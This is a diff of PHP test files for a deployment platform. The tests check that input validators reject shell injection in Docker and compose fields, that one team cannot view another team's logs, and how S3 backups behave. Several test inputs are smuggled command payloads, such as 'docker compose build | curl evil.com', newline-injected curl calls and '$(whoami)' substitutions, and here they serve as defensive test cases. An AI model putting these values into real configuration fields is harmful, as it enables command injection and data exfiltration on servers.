['dockerfile_target_build' => $rules['dockerfile_target_build']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects ampersand injection in dockerfile_target_build', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_target_build' => 'stage && env'],
|
||||
['dockerfile_target_build' => $rules['dockerfile_target_build']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid target names', function ($target) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_target_build' => $target],
|
||||
['dockerfile_target_build' => $rules['dockerfile_target_build']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['production', 'build-stage', 'stage.final', 'my_target', 'v2']);
|
||||
|
||||
test('runtime validates dockerfile_target_build', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
|
||||
// Test that validateShellSafeCommand is also available as a pattern
|
||||
$pattern = ValidationPatterns::DOCKER_TARGET_PATTERN;
|
||||
expect(preg_match($pattern, 'production'))->toBe(1);
|
||||
expect(preg_match($pattern, 'build; env'))->toBe(0);
|
||||
expect(preg_match($pattern, 'target`whoami`'))->toBe(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe('base_directory validation', function () {
|
||||
test('rejects shell metacharacters in base_directory', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['base_directory' => '/src; echo pwned'],
|
||||
['base_directory' => $rules['base_directory']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects command substitution in base_directory', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['base_directory' => '/dir$(whoami)'],
|
||||
['base_directory' => $rules['base_directory']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid base directories', function ($dir) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['base_directory' => $dir],
|
||||
['base_directory' => $rules['base_directory']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['/', '/src', '/backend/app', '/packages/@scope/app']);
|
||||
|
||||
test('runtime validates base_directory via validatePathField', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, '/src; echo pwned', 'base_directory'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
|
||||
expect($method->invoke($instance, '/src', 'base_directory'))
|
||||
->toBe('/src');
|
||||
});
|
||||
});
|
||||
|
||||
describe('docker_compose_custom_command validation', function () {
|
||||
test('rejects semicolon injection in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => 'docker compose up; echo pwned'],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects pipe injection in docker_compose_custom_build_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_build_command' => 'docker compose build | curl evil.com'],
|
||||
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows ampersand chaining in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => 'docker compose up && docker compose logs'],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
test('rejects command substitution in docker_compose_custom_build_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_build_command' => 'docker compose build $(whoami)'],
|
||||
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid docker compose commands', function ($cmd) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => $cmd],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'docker compose build',
|
||||
'docker compose up -d --build',
|
||||
'docker compose -f custom.yml build --no-cache',
|
||||
'docker compose build && docker tag registry.example.com/app:beta localhost:5000/app:beta && docker push localhost:5000/app:beta',
|
||||
]);
|
||||
|
||||
test('rejects backslash in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => 'docker compose up \\n curl evil.com'],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects single quotes in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => "docker compose up -d --build 'malicious'"],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows double quotes in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => 'docker compose up -d --build --build-arg VERSION="1.0.0"'],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
test('rejects newline injection in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => "docker compose up\ncurl evil.com"],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects carriage return injection in docker_compose_custom_build_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_build_command' => "docker compose build\rcurl evil.com"],
|
||||
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('runtime validates docker compose commands', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validateShellSafeCommand');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, 'docker compose up; echo pwned', 'docker_compose_custom_start_command'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden shell characters');
|
||||
|
||||
expect(fn () => $method->invoke($instance, "docker compose up\ncurl evil.com", 'docker_compose_custom_start_command'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden shell characters');
|
||||
|
||||
expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command'))
|
||||
->toBe('docker compose up -d --build');
|
||||
});
|
||||
});
|
||||
|
||||
describe('custom_docker_run_options validation', function () {
|
||||
test('rejects semicolon injection in custom_docker_run_options', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['custom_docker_run_options' => '--cap-add=NET_ADMIN; echo pwned'],
|
||||
['custom_docker_run_options' => $rules['custom_docker_run_options']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects command substitution in custom_docker_run_options', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['custom_docker_run_options' => '--hostname=$(whoami)'],
|
||||
['custom_docker_run_options' => $rules['custom_docker_run_options']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid docker run options', function ($opts) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['custom_docker_run_options' => $opts],
|
||||
['custom_docker_run_options' => $rules['custom_docker_run_options']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'--cap-add=NET_ADMIN --cap-add=NET_RAW',
|
||||
'--privileged --init',
|
||||
'--memory=512m --cpus=2',
|
||||
]);
|
||||
});
|
||||
|
||||
describe('container name validation', function () {
|
||||
test('rejects shell injection in container name', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['post_deployment_command_container' => 'my-container; echo pwned'],
|
||||
['post_deployment_command_container' => $rules['post_deployment_command_container']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid container names', function ($name) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['post_deployment_command_container' => $name],
|
||||
['post_deployment_command_container' => $rules['post_deployment_command_container']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['my-app', 'nginx_proxy', 'web.server', 'app123']);
|
||||
|
||||
test('runtime validates container names', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validateContainerName');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, 'container; echo pwned'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
|
||||
expect($method->invoke($instance, 'my-app'))
|
||||
->toBe('my-app');
|
||||
});
|
||||
});
|
||||
|
||||
describe('dockerfile_target_build rules survive array_merge in controller', function () {
|
||||
test('dockerfile_target_build safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
// Simulate what ApplicationsController does: array_merge(shared, local)
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged)->toHaveKey('dockerfile_target_build');
|
||||
expect($merged['dockerfile_target_build'])->toBeArray();
|
||||
expect($merged['dockerfile_target_build'])->toContain('regex:'.ValidationPatterns::DOCKER_TARGET_PATTERN);
|
||||
});
|
||||
});
|
||||
|
||||
describe('docker_compose_custom_command rules survive array_merge in controller', function () {
|
||||
test('docker_compose_custom_start_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
// Simulate what ApplicationsController does: array_merge(shared, local)
|
||||
// After our fix, local no longer contains docker_compose_custom_start_command,
|
||||
// so the shared regex rule must survive
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['docker_compose_custom_start_command'])->toBeArray();
|
||||
expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
|
||||
test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['docker_compose_custom_build_command'])->toBeArray();
|
||||
expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
});
|
||||
|
||||
describe('API route middleware for deploy actions', function () {
|
||||
test('application start route requires deploy ability', function () {
|
||||
$routes = app('router')->getRoutes();
|
||||
|
||||
@@ -0,0 +1,77 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationPreview;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('populates fqdn from docker_compose_domains after generate_preview_fqdn_compose', function () {
|
||||
$application = Application::factory()->create([
|
||||
'build_pack' => 'dockercompose',
|
||||
'docker_compose_domains' => json_encode([
|
||||
'web' => ['domain' => 'https://example.com'],
|
||||
]),
|
||||
]);
|
||||
|
||||
$preview = ApplicationPreview::create([
|
||||
'application_id' => $application->id,
|
||||
'pull_request_id' => 42,
|
||||
'docker_compose_domains' => $application->docker_compose_domains,
|
||||
]);
|
||||
|
||||
$preview->generate_preview_fqdn_compose();
|
||||
|
||||
$preview->refresh();
|
||||
|
||||
expect($preview->fqdn)->not->toBeNull();
|
||||
expect($preview->fqdn)->toContain('42');
|
||||
expect($preview->fqdn)->toContain('example.com');
|
||||
});
|
||||
|
||||
it('populates fqdn with multiple domains from multiple services', function () {
|
||||
$application = Application::factory()->create([
|
||||
'build_pack' => 'dockercompose',
|
||||
'docker_compose_domains' => json_encode([
|
||||
'web' => ['domain' => 'https://web.example.com'],
|
||||
'api' => ['domain' => 'https://api.example.com'],
|
||||
]),
|
||||
]);
|
||||
|
||||
$preview = ApplicationPreview::create([
|
||||
'application_id' => $application->id,
|
||||
'pull_request_id' => 7,
|
||||
'docker_compose_domains' => $application->docker_compose_domains,
|
||||
]);
|
||||
|
||||
$preview->generate_preview_fqdn_compose();
|
||||
|
||||
$preview->refresh();
|
||||
|
||||
expect($preview->fqdn)->not->toBeNull();
|
||||
$domains = explode(',', $preview->fqdn);
|
||||
expect($domains)->toHaveCount(2);
|
||||
expect($preview->fqdn)->toContain('web.example.com');
|
||||
expect($preview->fqdn)->toContain('api.example.com');
|
||||
});
|
||||
|
||||
it('sets fqdn to null when no domains are configured', function () {
|
||||
$application = Application::factory()->create([
|
||||
'build_pack' => 'dockercompose',
|
||||
'docker_compose_domains' => json_encode([
|
||||
'web' => ['domain' => ''],
|
||||
]),
|
||||
]);
|
||||
|
||||
$preview = ApplicationPreview::create([
|
||||
'application_id' => $application->id,
|
||||
'pull_request_id' => 99,
|
||||
'docker_compose_domains' => $application->docker_compose_domains,
|
||||
]);
|
||||
|
||||
$preview->generate_preview_fqdn_compose();
|
||||
|
||||
$preview->refresh();
|
||||
|
||||
expect($preview->fqdn)->toBeNull();
|
||||
});
|
||||
@@ -0,0 +1,97 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
|
||||
beforeEach(function () {
|
||||
// Attacker: Team A
|
||||
$this->userA = User::factory()->create();
|
||||
$this->teamA = Team::factory()->create();
|
||||
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
|
||||
|
||||
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
|
||||
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
|
||||
// Victim: Team B
|
||||
$this->teamB = Team::factory()->create();
|
||||
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]);
|
||||
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
|
||||
|
||||
$this->victimApplication = Application::factory()->create([
|
||||
'environment_id' => $this->environmentB->id,
|
||||
'destination_id' => $this->destinationB->id,
|
||||
'destination_type' => $this->destinationB->getMorphClass(),
|
||||
]);
|
||||
|
||||
$this->victimService = Service::factory()->create([
|
||||
'environment_id' => $this->environmentB->id,
|
||||
'destination_id' => $this->destinationB->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
]);
|
||||
|
||||
// Act as attacker
|
||||
$this->actingAs($this->userA);
|
||||
session(['currentTeam' => $this->teamA]);
|
||||
});
|
||||
|
||||
test('cannot access logs of application from another team', function () {
|
||||
$response = $this->get(route('project.application.logs', [
|
||||
'project_uuid' => $this->projectA->uuid,
|
||||
'environment_uuid' => $this->environmentA->uuid,
|
||||
'application_uuid' => $this->victimApplication->uuid,
|
||||
]));
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
|
||||
test('cannot access logs of service from another team', function () {
|
||||
$response = $this->get(route('project.service.logs', [
|
||||
'project_uuid' => $this->projectA->uuid,
|
||||
'environment_uuid' => $this->environmentA->uuid,
|
||||
'service_uuid' => $this->victimService->uuid,
|
||||
]));
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
|
||||
test('can access logs of own application', function () {
|
||||
$ownApplication = Application::factory()->create([
|
||||
'environment_id' => $this->environmentA->id,
|
||||
'destination_id' => $this->destinationA->id,
|
||||
'destination_type' => $this->destinationA->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->get(route('project.application.logs', [
|
||||
'project_uuid' => $this->projectA->uuid,
|
||||
'environment_uuid' => $this->environmentA->uuid,
|
||||
'application_uuid' => $ownApplication->uuid,
|
||||
]));
|
||||
|
||||
$response->assertStatus(200);
|
||||
});
|
||||
|
||||
test('can access logs of own service', function () {
|
||||
$ownService = Service::factory()->create([
|
||||
'environment_id' => $this->environmentA->id,
|
||||
'destination_id' => $this->destinationA->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
]);
|
||||
|
||||
$response = $this->get(route('project.service.logs', [
|
||||
'project_uuid' => $this->projectA->uuid,
|
||||
'environment_uuid' => $this->environmentA->uuid,
|
||||
'service_uuid' => $ownService->uuid,
|
||||
]));
|
||||
|
||||
$response->assertStatus(200);
|
||||
});
|
||||
@@ -1,6 +1,10 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\DatabaseBackupJob;
|
||||
use App\Models\S3Storage;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\ScheduledDatabaseBackupExecution;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
@@ -35,3 +39,184 @@ test('scheduled database backup execution model casts storage deletion fields co
|
||||
expect($casts)->toHaveKey('s3_storage_deleted');
|
||||
expect($casts['s3_storage_deleted'])->toBe('boolean');
|
||||
});
|
||||
|
||||
test('upload_to_s3 throws exception and disables s3 when storage is null', function () {
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => 99999,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => Team::factory()->create()->id,
|
||||
]);
|
||||
|
||||
$job = new DatabaseBackupJob($backup);
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
$s3Property = $reflection->getProperty('s3');
|
||||
$s3Property->setValue($job, null);
|
||||
|
||||
$method = $reflection->getMethod('upload_to_s3');
|
||||
|
||||
expect(fn () => $method->invoke($job))
|
||||
->toThrow(Exception::class, 'S3 storage configuration is missing or has been deleted');
|
||||
|
||||
$backup->refresh();
|
||||
expect($backup->save_s3)->toBeFalsy();
|
||||
expect($backup->s3_storage_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('deleting s3 storage disables s3 on linked backups', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$s3 = S3Storage::create([
|
||||
'name' => 'Test S3',
|
||||
'region' => 'us-east-1',
|
||||
'key' => 'test-key',
|
||||
'secret' => 'test-secret',
|
||||
'bucket' => 'test-bucket',
|
||||
'endpoint' => 'https://s3.example.com',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$backup1 = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => $s3->id,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$backup2 = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => $s3->id,
|
||||
'database_type' => 'App\Models\StandaloneMysql',
|
||||
'database_id' => 2,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
// Unrelated backup should not be affected
|
||||
$unrelatedBackup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => null,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 3,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$s3->delete();
|
||||
|
||||
$backup1->refresh();
|
||||
$backup2->refresh();
|
||||
$unrelatedBackup->refresh();
|
||||
|
||||
expect($backup1->save_s3)->toBeFalsy();
|
||||
expect($backup1->s3_storage_id)->toBeNull();
|
||||
expect($backup2->save_s3)->toBeFalsy();
|
||||
expect($backup2->s3_storage_id)->toBeNull();
|
||||
expect($unrelatedBackup->save_s3)->toBeTruthy();
|
||||
});
|
||||
|
||||
test('failed method does not overwrite successful backup status', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => false,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$log = ScheduledDatabaseBackupExecution::create([
|
||||
'uuid' => 'test-uuid-success-guard',
|
||||
'database_name' => 'test_db',
|
||||
'filename' => '/backup/test.dmp',
|
||||
'scheduled_database_backup_id' => $backup->id,
|
||||
'status' => 'success',
|
||||
'message' => 'Backup completed successfully',
|
||||
'size' => 1024,
|
||||
]);
|
||||
|
||||
$job = new DatabaseBackupJob($backup);
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$teamProp = $reflection->getProperty('team');
|
||||
$teamProp->setValue($job, $team);
|
||||
|
||||
$logUuidProp = $reflection->getProperty('backup_log_uuid');
|
||||
$logUuidProp->setValue($job, 'test-uuid-success-guard');
|
||||
|
||||
// Simulate a post-backup failure (e.g. notification error)
|
||||
$job->failed(new Exception('Request to the Resend API failed'));
|
||||
|
||||
$log->refresh();
|
||||
expect($log->status)->toBe('success');
|
||||
expect($log->message)->toBe('Backup completed successfully');
|
||||
expect($log->size)->toBe(1024);
|
||||
});
|
||||
|
||||
test('failed method updates status when backup was not successful', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => false,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$log = ScheduledDatabaseBackupExecution::create([
|
||||
'uuid' => 'test-uuid-pending-guard',
|
||||
'database_name' => 'test_db',
|
||||
'filename' => '/backup/test.dmp',
|
||||
'scheduled_database_backup_id' => $backup->id,
|
||||
'status' => 'pending',
|
||||
]);
|
||||
|
||||
$job = new DatabaseBackupJob($backup);
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$teamProp = $reflection->getProperty('team');
|
||||
$teamProp->setValue($job, $team);
|
||||
|
||||
$logUuidProp = $reflection->getProperty('backup_log_uuid');
|
||||
$logUuidProp->setValue($job, 'test-uuid-pending-guard');
|
||||
|
||||
$job->failed(new Exception('Some real failure'));
|
||||
|
||||
$log->refresh();
|
||||
expect($log->status)->toBe('failed');
|
||||
expect($log->message)->toContain('Some real failure');
|
||||
});
|
||||
|
||||
test('s3 storage has scheduled backups relationship', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$s3 = S3Storage::create([
|
||||
'name' => 'Test S3',
|
||||
'region' => 'us-east-1',
|
||||
'key' => 'test-key',
|
||||
'secret' => 'test-secret',
|
||||
'bucket' => 'test-bucket',
|
||||
'endpoint' => 'https://s3.example.com',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => $s3->id,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
expect($s3->scheduledBackups()->count())->toBe(1);
|
||||
});
|
||||
@@ -0,0 +1,346 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::updateOrCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function createDatabase($context): StandalonePostgresql
|
||||
{
|
||||
return StandalonePostgresql::create([
|
||||
'name' => 'test-postgres',
|
||||
'image' => 'postgres:15-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $context->environment->id,
|
||||
'destination_id' => $context->destination->id,
|
||||
'destination_type' => $context->destination->getMorphClass(),
|
||||
]);
|
||||
}
|
||||
|
||||
describe('GET /api/v1/databases/{uuid}/envs', function () {
|
||||
test('lists environment variables for a database', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'CUSTOM_VAR',
|
||||
'value' => 'custom_value',
|
||||
'resourceable_type' => StandalonePostgresql::class,
|
||||
'resourceable_id' => $database->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->getJson("/api/v1/databases/{$database->uuid}/envs");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJsonFragment(['key' => 'CUSTOM_VAR']);
|
||||
});
|
||||
|
||||
test('returns empty array when no environment variables exist', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->getJson("/api/v1/databases/{$database->uuid}/envs");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJson([]);
|
||||
});
|
||||
|
||||
test('returns 404 for non-existent database', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->getJson('/api/v1/databases/non-existent-uuid/envs');
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/databases/{uuid}/envs', function () {
|
||||
test('creates an environment variable', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'key' => 'NEW_VAR',
|
||||
'value' => 'new_value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'NEW_VAR')
|
||||
->where('resourceable_id', $database->id)
|
||||
->where('resourceable_type', StandalonePostgresql::class)
|
||||
->first();
|
||||
|
||||
expect($env)->not->toBeNull();
|
||||
expect($env->value)->toBe('new_value');
|
||||
});
|
||||
|
||||
test('creates an environment variable with comment', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'key' => 'COMMENTED_VAR',
|
||||
'value' => 'some_value',
|
